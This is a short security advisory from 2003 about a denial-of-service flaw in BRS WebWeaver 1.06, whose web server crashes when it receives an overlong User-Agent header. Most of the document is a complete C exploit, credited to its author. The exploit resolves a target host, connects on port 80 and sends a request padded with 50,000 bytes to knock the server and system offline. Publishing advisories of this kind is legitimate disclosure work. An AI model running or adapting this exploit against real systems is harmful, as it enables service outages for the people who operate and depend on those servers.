[NT] BRS WebWeaver User-Agent DoS

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Date: 11/05/03

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      BRS WebWeaver User-Agent DoS
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    SUMMARY

    BRS WebWeaver HTTPd crashes and freezes the whole system, when it gets a
    request that contains a long string within `User-Agent` field.

    DETAILS

    Vulnerable systems:
     * BRS WebWeaver version 1.06

    Exploit:
    /*
     * BRS WebWeaver v.1.06 remote DoS exploit
     *
     * -d4rkgr3y [d4rk@securitylab.ru]
     *
     */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/socket.h>

    #define port 80

    main(int argc, char **argv) {
      struct hostent *hs;
      struct sockaddr_in sock;
      int sockfd, i;
      const c = 50000;
      char request[50150] =
        "GET /m00-r0cz HTTP/1.0\n"
        "Accept: */*\n"
        "Accept-Language: jp\n"
        "Accept-Encoding: gzip, deflate\n"
        "Host: m00security.org\n"
        "User-Agent: ";
      printf("BRS WebWeaver v.1.06 remote DoS exploit\n\n");

      if (argc!=2){
        printf("usage\n %s hostname\n\n",argv[0]);
        exit(1);
      }

      //memset((request+98),0x41,c);
      memset((request+strlen(request)),0x41,c);
      /* l33t ;] */
      request[strlen(request)] = 0x0a;
      request[strlen(request)] = 0x43;
      request[strlen(request)] = 0x6f;
      request[strlen(request)] = 0x6e;
      request[strlen(request)] = 0x6e;
      request[strlen(request)] = 0x65;
      request[strlen(request)] = 0x63;
      request[strlen(request)] = 0x74;
      request[strlen(request)] = 0x69;
      request[strlen(request)] = 0x6f;
      request[strlen(request)] = 0x6e;
      request[strlen(request)] = 0x3a;
      request[strlen(request)] = 0x20;
      request[strlen(request)] = 0x4b;
      request[strlen(request)] = 0x65;
      request[strlen(request)] = 0x65;
      request[strlen(request)] = 0x70;
      request[strlen(request)] = 0x2d;
      request[strlen(request)] = 0x41;
      request[strlen(request)] = 0x6c;
      request[strlen(request)] = 0x69;
      request[strlen(request)] = 0x76;
      request[strlen(request)] = 0x65;
      request[strlen(request)] = 0x0a;
      request[strlen(request)] = 0x0a;

      bzero(&sock, sizeof(sock));
      sock.sin_family = AF_INET;
      sock.sin_port = htons(port);
      if ((sock.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
        if ((hs=gethostbyname(argv[1]))==NULL) {
          printf("damn");
          exit(1);
        }
        printf("~ Host resolved.\n");
        sock.sin_family = hs->h_addrtype;
        memcpy((caddr_t)&sock.sin_addr.s_addr,hs->h_addr,hs->h_length);
      }
      if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("damn"); exit(0);
      }

      if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0){
        perror("damn"); exit(0);
      }
      printf("~ Socket connected\n");
      printf("~ Sending evil code... ");
      write(sockfd,request,strlen(request));
      printf("done\n\n");
      close(sockfd);
    }
    /* m00 */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:d4rk@securitylab.ru>
    d4rkgr3y.

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